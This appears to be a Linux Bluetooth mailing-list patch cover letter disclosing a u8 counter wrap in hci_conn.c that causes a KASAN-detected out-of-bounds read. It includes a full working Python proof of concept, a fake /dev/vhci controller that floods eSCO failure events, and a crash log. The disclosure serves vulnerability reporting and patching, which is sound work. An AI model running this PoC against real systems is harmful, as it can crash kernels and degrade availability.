Linux bluetooth development
 help / color / mirror / Atom feed
From: Zhiling Zou <zhilinz@nebusec.ai>
To: linux-bluetooth@vger.kernel.org
Cc: marcel@holtmann.org, luiz.dentz@gmail.com,
	chethan.tumkur.narayan@intel.com, ravishankar.srivatsa@intel.com,
	kiran.k@intel.com, vega@nebusec.ai, zhilinz@nebusec.ai
Subject: [PATCH net 0/1] Bluetooth: prevent wrapped eSCO connection attempts
Date: Sat, 12 Sep 2026 21:44:59 +0800	[thread overview]
Message-ID: <cover.1789220439.git.zhilinz@nebusec.ai> (raw)

Hi Linux kernel maintainers,

We found and validated an issue in net/bluetooth/hci_conn.c. The bug is
reachable by a root user using a malicious HCI controller through
/dev/vhci.

We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

hci_conn::attempt is an 8-bit counter. Repeated synchronous-connection
failure events queue more enhanced setup work while the connection stays
alive. The counter can wrap from 255 to zero.

find_next_esco_param() indexes the parameter table with
attempt - 1. After the wrap, this becomes an index before the static
table and produces a global out-of-bounds read. The wrapped value can
also be used when constructing the next enhanced synchronous-connection
command.

The fix rejects a zero attempt before the table lookup and immediately
after incrementing the counter in hci_enhanced_setup_sync().

Reproducer:

    sysctl -w kernel.panic_on_warn=0
    sh /root/poc.sh

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------

    #!/bin/sh
    set -eu

    python3 -u - <<'PY'
    import os
    import socket
    import struct
    import subprocess
    import threading
    import time
    import ctypes
    import ctypes.util

    VHCI = "/dev/vhci"
    BDADDR_BYTES = bytes.fromhex("060504030201")
    BDADDR_STR = "01:02:03:04:05:06"
    ACL_HANDLE = 0x0042
    SYNC_STATUS = 0x1F

    CMD_RESET = 0x0C03
    CMD_READ_LOCAL_VERSION = 0x1001
    CMD_READ_LOCAL_COMMANDS = 0x1002
    CMD_READ_LOCAL_FEATURES = 0x1003
    CMD_READ_BUFFER_SIZE = 0x1005
    CMD_READ_BD_ADDR = 0x1009
    CMD_SET_EVENT_MASK = 0x0C01
    CMD_READ_LOCAL_NAME = 0x0C14
    CMD_WRITE_CA_TIMEOUT = 0x0C16
    CMD_READ_CLASS_OF_DEV = 0x0C23
    CMD_READ_VOICE_SETTING = 0x0C25
    CMD_READ_NUM_SUPPORTED_IAC = 0x0C38
    CMD_READ_CURRENT_IAC_LAP = 0x0C39
    CMD_READ_INQ_RSP_TX_POWER = 0x0C46
    CMD_CREATE_CONN = 0x0405
    CMD_REMOTE_NAME_REQ = 0x0419
    CMD_READ_REMOTE_FEATURES = 0x041B
    CMD_SETUP_SYNC_CONN = 0x0428
    CMD_ENHANCED_SETUP_SYNC_CONN = 0x043D
    CMD_LE_READ_ACCEPT_LIST_SIZE = 0x080F

    EVT_CMD_COMPLETE = 0x0E
    EVT_CMD_STATUS = 0x0F
    EVT_CONN_COMPLETE = 0x03
    EVT_REMOTE_NAME = 0x07
    EVT_REMOTE_FEATURES = 0x0B
    EVT_SYNC_CONN_COMPLETE = 0x2C


    def log(*args):
        print(*args, flush=True)


    fd = os.open(VHCI, os.O_RDWR)
    os.write(fd, b"\xff\x00")
    log("created vhci controller")

    state = {
        "conn_complete_sent": False,
        "sync_spam_sent": False,
    }


    def send_event(evt, payload):
        packet = bytes([0x04, evt, len(payload)]) + payload
        os.write(fd, packet)


    def cmd_complete(opcode, retparams):
        send_event(EVT_CMD_COMPLETE, bytes([1]) + struct.pack("<H", opcode) + retparams)


    def cmd_status(opcode, status=0):
        send_event(EVT_CMD_STATUS, bytes([status, 1]) + struct.pack("<H", opcode))


    def send_conn_complete(status=0):
        payload = (
            bytes([status])
            + struct.pack("<H", ACL_HANDLE)
            + BDADDR_BYTES
            + bytes([0x01, 0x00])
        )
        send_event(EVT_CONN_COMPLETE, payload)
        log("sent ACL conn complete", hex(status))


    def send_remote_features(status=0):
        payload = bytes([status]) + struct.pack("<H", ACL_HANDLE) + (b"\x00" * 8)
        send_event(EVT_REMOTE_FEATURES, payload)
        log("sent remote features", hex(status))


    def send_remote_name(status=0):
        name = b"vhci-remote"
        payload = bytes([status]) + BDADDR_BYTES + name + (b"\x00" * (248 - len(name)))
        send_event(EVT_REMOTE_NAME, payload)
        log("sent remote name", hex(status))


    def spam_sync_failures():
        # The first enhanced setup uses attempt=2 because the remote features are
        # still all zero at this point; 254 more queued retries are enough to wrap
        # the u8 counter back to zero inside hci_enhanced_setup_sync().
        time.sleep(0.05)
        payload = (
            bytes([SYNC_STATUS])
            + struct.pack("<H", 0)
            + BDADDR_BYTES
            + bytes([0x02, 0x00, 0x00])
            + struct.pack("<H", 0)
            + struct.pack("<H", 0)
            + bytes([0x00])
        )
        for _ in range(300):
            send_event(EVT_SYNC_CONN_COMPLETE, payload)
        log("sent 300 synchronous-connection failure events")


    def handle_command(opcode, params):
        if opcode == CMD_RESET:
            cmd_complete(opcode, b"\x00")
            return

        if opcode == CMD_READ_LOCAL_FEATURES:
            features = bytearray(8)
            features[2] |= 0x08  # LMP_TRANSPARENT
            features[3] |= 0x80  # LMP_ESCO
            cmd_complete(opcode, b"\x00" + bytes(features))
            return

        if opcode == CMD_READ_LOCAL_VERSION:
            reply = struct.pack("<BBHBHH", 0x00, 0x09, 0x0000, 0x09, 0x0000, 0x0000)
            cmd_complete(opcode, reply)
            return

        if opcode == CMD_READ_LOCAL_COMMANDS:
            commands = bytearray(64)
            commands[1] |= 0x20  # Reset
            commands[5] |= 0x10  # Create Connection
            commands[6] |= 0x10  # Read Local Name
            commands[8] |= 0x20  # Read Local Version
            commands[8] |= 0x40  # Read Local Commands
            commands[8] |= 0x80  # Read Local Features
            commands[9] |= 0x04  # Read Voice Setting
            commands[10] |= 0x20  # Read Buffer Size
            commands[10] |= 0x80  # Read BD_ADDR
            commands[12] |= 0x02  # Read Class of Device
            commands[12] |= 0x08  # Read Voice Setting
            commands[12] |= 0x80  # Read Num Supported IAC
            commands[13] |= 0x01  # Read Current IAC LAP
            commands[16] |= 0x04  # Read Remote Features
            commands[29] |= 0x08  # Enhanced Setup Synchronous Connection
            cmd_complete(opcode, b"\x00" + bytes(commands))
            return

        if opcode == CMD_READ_BUFFER_SIZE:
            reply = struct.pack("<BHBHH", 0x00, 1021, 64, 8, 8)
            cmd_complete(opcode, reply)
            return

        if opcode == CMD_READ_BD_ADDR:
            cmd_complete(opcode, b"\x00" + bytes.fromhex("aabbccddeeff"))
            return

        if opcode == CMD_SET_EVENT_MASK:
            cmd_complete(opcode, b"\x00")
            return

        if opcode == CMD_READ_LOCAL_NAME:
            name = b"vhci-poc"
            cmd_complete(opcode, b"\x00" + name + (b"\x00" * (248 - len(name))))
            return

        if opcode == CMD_WRITE_CA_TIMEOUT:
            cmd_complete(opcode, b"\x00")
            return

        if opcode == CMD_READ_CLASS_OF_DEV:
            cmd_complete(opcode, b"\x00\x00\x00\x00")
            return

        if opcode == CMD_READ_VOICE_SETTING:
            cmd_complete(opcode, struct.pack("<BH", 0x00, 0x0060))
            return

        if opcode == CMD_READ_NUM_SUPPORTED_IAC:
            cmd_complete(opcode, b"\x00\x01")
            return

        if opcode == CMD_READ_CURRENT_IAC_LAP:
            cmd_complete(opcode, b"\x00\x01\x33\x8b\x9e")
            return

        if opcode == CMD_READ_INQ_RSP_TX_POWER:
            cmd_complete(opcode, b"\x00\x00")
            return

        if opcode == CMD_LE_READ_ACCEPT_LIST_SIZE:
            cmd_complete(opcode, b"\x00\x00")
            return

        if opcode == CMD_CREATE_CONN:
            log("saw HCI_OP_CREATE_CONN", params.hex())
            cmd_status(opcode, 0)
            if not state["conn_complete_sent"]:
                state["conn_complete_sent"] = True
                threading.Thread(
                    target=lambda: (time.sleep(0.05), send_conn_complete(0)),
                    daemon=True,
                ).start()
            return

        if opcode == CMD_READ_REMOTE_FEATURES:
            log("saw HCI_OP_READ_REMOTE_FEATURES")
            cmd_status(opcode, 0)
            threading.Thread(
                target=lambda: (time.sleep(0.02), send_remote_features(0)),
                daemon=True,
            ).start()
            return

        if opcode == CMD_REMOTE_NAME_REQ:
            log("saw HCI_OP_REMOTE_NAME_REQ")
            cmd_status(opcode, 0)
            threading.Thread(
                target=lambda: (time.sleep(0.02), send_remote_name(0)),
                daemon=True,
            ).start()
            return

        if opcode in (CMD_SETUP_SYNC_CONN, CMD_ENHANCED_SETUP_SYNC_CONN):
            log(f"saw sync setup opcode 0x{opcode:04x}", params.hex())
            cmd_status(opcode, 0)
            if not state["sync_spam_sent"]:
                state["sync_spam_sent"] = True
                threading.Thread(target=spam_sync_failures, daemon=True).start()
            return

        log(f"replying success to unexpected opcode 0x{opcode:04x}", params.hex())
        cmd_complete(opcode, b"\x00")


    def vhci_reader():
        while True:
            packet = os.read(fd, 4096)
            if not packet:
                log("vhci read EOF")
                return

            pkt_type = packet[0]
            if pkt_type != 0x01:
                log("RX non-command packet", packet.hex())
                continue

            opcode, plen = struct.unpack_from("<HB", packet, 1)
            params = packet[4 : 4 + plen]
            log(f"RX command opcode=0x{opcode:04x} len={plen}")
            handle_command(opcode, params)


    reader = threading.Thread(target=vhci_reader, daemon=True)
    reader.start()

    for _ in range(100):
        if os.path.exists("/sys/class/bluetooth/hci0"):
            break
        time.sleep(0.1)

    for attempt in range(5):
        rc = subprocess.call("hciconfig hci0 up", shell=True)
        log("hciconfig up rc", rc, "attempt", attempt)
        time.sleep(0.2)
        try:
            info = subprocess.check_output("hciconfig -a hci0 || true", shell=True, text=True)
        except Exception as exc:
            log("hciconfig query failed", repr(exc))
            info = ""
        if info:
            print(info, end="", flush=True)
        if "RUNNING" in info:
            break

    log("attempting SCO connect")
    sco = socket.socket(
        socket.AF_BLUETOOTH,
        socket.SOCK_SEQPACKET,
        getattr(socket, "BTPROTO_SCO", 2),
    )
    sco.setsockopt(getattr(socket, "SOL_BLUETOOTH", 274), 11, struct.pack("<H", 0x0003))


    class SockaddrSco(ctypes.Structure):
        _fields_ = [
            ("sco_family", ctypes.c_ushort),
            ("sco_bdaddr", ctypes.c_ubyte * 6),
        ]


    libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
    addr = SockaddrSco()
    addr.sco_family = socket.AF_BLUETOOTH
    for i, value in enumerate(BDADDR_BYTES):
        addr.sco_bdaddr[i] = value

    try:
        ret = libc.connect(
            sco.fileno(),
            ctypes.byref(addr),
            ctypes.sizeof(addr),
        )
        if ret != 0:
            err = ctypes.get_errno()
            raise OSError(err, os.strerror(err))
        log("connect returned")
    except Exception as exc:
        log("connect raised", repr(exc))

    while True:
        time.sleep(1)
    PY

------END poc.sh--------

----BEGIN crash log----

[  250.143377] [     T69] BUG: KASAN: global-out-of-bounds in find_next_esco_param.part.0+0x165/0x1c0
[  250.143612] [     T69] Read of size 2 at addr ffffffff8bc334da by task kworker/u17:0/69

[  250.143705] [     T69] CPU: 3 UID: 0 PID: 69 Comm: kworker/u17:0 Not tainted 6.12.95 #2
[  250.143717] [     T69] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  250.143729] [     T69] Workqueue: hci0 hci_cmd_sync_work
[  250.143844] [     T69] Call Trace:
[  250.143871] [     T69]  <TASK>
[  250.143883] [     T69]  dump_stack_lvl+0x78/0xe0
[  250.144003] [     T69]  print_report+0xc6/0x620
[  250.144144] [     T69]  ? find_next_esco_param.part.0+0x165/0x1c0
[  250.144177] [     T69]  ? srso_alias_return_thunk+0x5/0xfbef5
[  250.144233] [     T69]  ? __virt_addr_valid+0x1f3/0x3d0
[  250.144322] [     T69]  ? find_next_esco_param.part.0+0x165/0x1c0
[  250.144334] [     T69]  kasan_report+0xd8/0x110
[  250.144351] [     T69]  ? find_next_esco_param.part.0+0x165/0x1c0
[  250.144376] [     T69]  find_next_esco_param.part.0+0x165/0x1c0
[  250.144397] [     T69]  hci_enhanced_setup_sync+0x913/0xca0
[  250.144413] [     T69]  ? __pfx_hci_enhanced_setup_sync+0x10/0x10
[  250.144423] [     T69]  ? __pfx___mutex_lock+0x10/0x10
[  250.144487] [     T69]  ? __pfx___mutex_unlock_slowpath+0x10/0x10
[  250.144506] [     T69]  ? cfrfml_transmit+0xa0/0x650
[  250.144573] [     T69]  ? __pfx_lock_acquire.part.0+0x10/0x10
[  250.144650] [     T69]  hci_cmd_sync_work+0x18d/0x3a0
[  250.144676] [     T69]  process_one_work+0x855/0x1ac0
[  250.144771] [     T69]  ? __pfx_lock_acquire.part.0+0x10/0x10
[  250.144784] [     T69]  ? __pfx_process_one_work+0x10/0x10
[  250.144810] [     T69]  ? srso_alias_return_thunk+0x5/0xfbef5
[  250.144827] [     T69]  worker_thread+0x4f4/0xd60
[  250.144860] [     T69]  ? __pfx_worker_thread+0x10/0x10
[  250.144870] [     T69]  kthread+0x27e/0x350
[  250.144891] [     T69]  ? _raw_spin_unlock_irq+0x28/0x50
[  250.144902] [     T69]  ? __pfx_kthread+0x10/0x10
[  250.144914] [     T69]  ret_from_fork+0x31/0x70
[  250.144968] [     T69]  ? __pfx_kthread+0x10/0x10
[  250.144977] [     T69]  ret_from_fork_asm+0x1a/0x30
[  250.145053] [     T69]  </TASK>

[  250.145142] [     T69] The buggy address belongs to the variable:
[  250.145151] [     T69]  __func__.53+0x7a/0x80

[  250.145260] [     T69] The buggy address belongs to the physical page:
[  250.145283] [     T69] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0xbc33
[  250.145312] [     T69] flags: 0xfff00000002000(reserved|node=0|zone=1|lastcpupid=0x7ff)
[  250.145354] [     T69] raw: 00fff00000002000 ffffea00002f0cc8 ffffea00002f0cc8 0000000000000000
[  250.145367] [     T69] raw: 0000000000000000 0000000000000000 00000001ffffffff 0000000000000000
[  250.145377] [     T69] page dumped because: kasan: bad access detected
[  250.145404] [     T69] page_owner info is not present (never set?)

[  250.146486] [     T69] Memory state around the buggy address:
[  250.146497] [     T69]  ffffffff8bc33380: f9 f9 f9 f9 00 00 05 f9 f9 f9 f9 f9 00 00 00 f9
[  250.146509] [     T69]  ffffffff8bc33400: f9 f9 f9 f9 00 07 f9 f9 f9 f9 f9 f9 00 06 f9 f9
[  250.146520] [     T69] >ffffffff8bc33480: f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 00 04 f9 f9
[  250.146530] [     T69]                                                     ^
[  250.146542] [     T69]  ffffffff8bc33500: f9 f9 f9 f9 00 04 f9 f9 f9 f9 f9 f9 00 00 00 06
[  250.146572] [     T69]  ffffffff8bc33580: f9 f9 f9 f9 00 00 00 00 01 f9 f9 f9 f9 f9 f9 f9
[  250.146582] [     T69] ==================================================================

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  Bluetooth: prevent wrapped eSCO connection attempts

 net/bluetooth/hci_conn.c | 4 ++++
 1 file changed, 4 insertions(+)

-- 
2.43.0


             reply	other threads:[~2026-09-12 13:45 UTC|newest]

Thread overview: 3+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-09-12 13:44 Zhiling Zou [this message]
2026-09-12 13:45 ` [PATCH net 1/1] Bluetooth: prevent wrapped eSCO connection attempts Zhiling Zou
2026-09-12 16:25   ` bluez.test.bot

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=cover.1789220439.git.zhilinz@nebusec.ai \
    --to=zhilinz@nebusec.ai \
    --cc=chethan.tumkur.narayan@intel.com \
    --cc=kiran.k@intel.com \
    --cc=linux-bluetooth@vger.kernel.org \
    --cc=luiz.dentz@gmail.com \
    --cc=marcel@holtmann.org \
    --cc=ravishankar.srivatsa@intel.com \
    --cc=vega@nebusec.ai \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox